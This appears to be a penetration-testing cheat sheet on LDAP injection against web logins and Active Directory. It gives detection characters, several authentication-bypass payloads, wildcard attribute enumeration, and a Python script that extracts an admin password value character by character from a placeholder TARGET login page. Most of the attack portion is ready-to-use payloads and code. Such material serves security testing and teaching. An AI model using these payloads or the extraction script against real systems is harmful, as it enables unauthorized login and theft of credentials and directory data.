LDAP Injection
LDAP injection for auth bypass and data extraction: detection via special chars, filter manipulation, wildcard extraction, blind timing, and OR-chain bypass. Covers OpenLDAP and Active Directory LDAP query injection.
What is LDAP Injection
LDAP queries filter directory objects using expressions like (uid=alice). When user input is concatenated into the filter string unsanitised, an attacker can rewrite the filter to bypass authentication, enumerate users, or extract sensitive attributes.
Detection
Step 1 — Inject special LDAP characters
In Burp Repeater, inject each of these into login/search parameters one at a time:
*
)(
*(
))
*()|%26'
\x00
\28 \29
A changed response (error, empty result, or unexpected success) indicates the input reaches an LDAP query.
Step 2 — Wildcard test
Submit * as the username:
username=*&password=anything
If login succeeds → the LDAP filter uses (uid=*) which matches every user → wildcard injection confirmed.
Step 3 — Boolean condition test
username=admin)(&)
username=admin)(|(password=*
If login behaviour changes → filter manipulation confirmed.
Authentication Bypass
Wildcard auth bypass
username=*&password=*
LDAP filter becomes: (&(uid=*)(userPassword=*)) — matches the first user with any password.
Close-and-always-true
username=admin)(&)
Filter becomes: (&(uid=admin)(&))(anything) — the inner (&) is always true.
username=*)((|
password=pwd
Filter becomes: (&(uid=*))((|(userPassword=pwd)) — matches all users.
OR injection
username=admin)(|(uid=*
Filter becomes: (&(uid=admin)(|(uid=*)(password=x)) — returns admin regardless of password.
Data Extraction — Blind (Character by Character)
If login returns success/fail but no data, extract attribute values one character at a time using wildcards.
Extract the admin password hash character by character (test each prefix):
username=admin)(userPassword=a*
username=admin)(userPassword=b*
...
username=admin)(userPassword=p* ← success → starts with 'p'
username=admin)(userPassword=pa*
username=admin)(userPassword=pb*
...
Automate:
import requests
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*'
found = ''
while True:
for c in chars:
payload = f'admin)(userPassword={found}{c}*'
r = requests.post('http://TARGET/login',
data={'username': payload, 'password': 'x'})
if 'Welcome' in r.text:
found += c
print(f'Found so far: {found}')
break
else:
break
print(f'Password: {found}')
Attribute Enumeration
Extract arbitrary LDAP attributes by injecting them into the filter:
username=*)(mail=a*
username=*)(mail=b*
Enumerate users by extracting the cn attribute:
username=*)(cn=a*
username=*)(cn=b*
Active Directory LDAP Injection
AD uses LDAP with slightly different attribute names:
| Standard | Active Directory |
|---|---|
uid | sAMAccountName |
userPassword | unicodePwd (not directly readable) |
cn | cn |
mail | mail |
memberOf | memberOf |
Bypass AD login:
username=*)(&
password=anything
Filter becomes: (&(sAMAccountName=*)(&)(userPassword=anything)) — may match any user.
LDAP Special Characters Reference
| Character | Meaning | Inject to |
|---|---|---|
* | Wildcard | Match anything |
( ) | Group filter | Open/close new filter condition |
| | OR operator | Add alternative condition |
& | AND operator | Add mandatory condition |
! | NOT operator | Negate condition |
\00 | Null byte | Truncate filter |
Burp Suite workflow
- Proxy — intercept login and search requests.
- Repeater — inject
*,)(,*()|%26into username and password fields. - Intruder — charset brute-force for blind extraction (
a-z,A-Z,0-9, special chars). - Scanner — active scan detects LDAP injection patterns automatically.
- Look for different response lengths/content when wildcard matches vs doesn’t — that’s your oracle.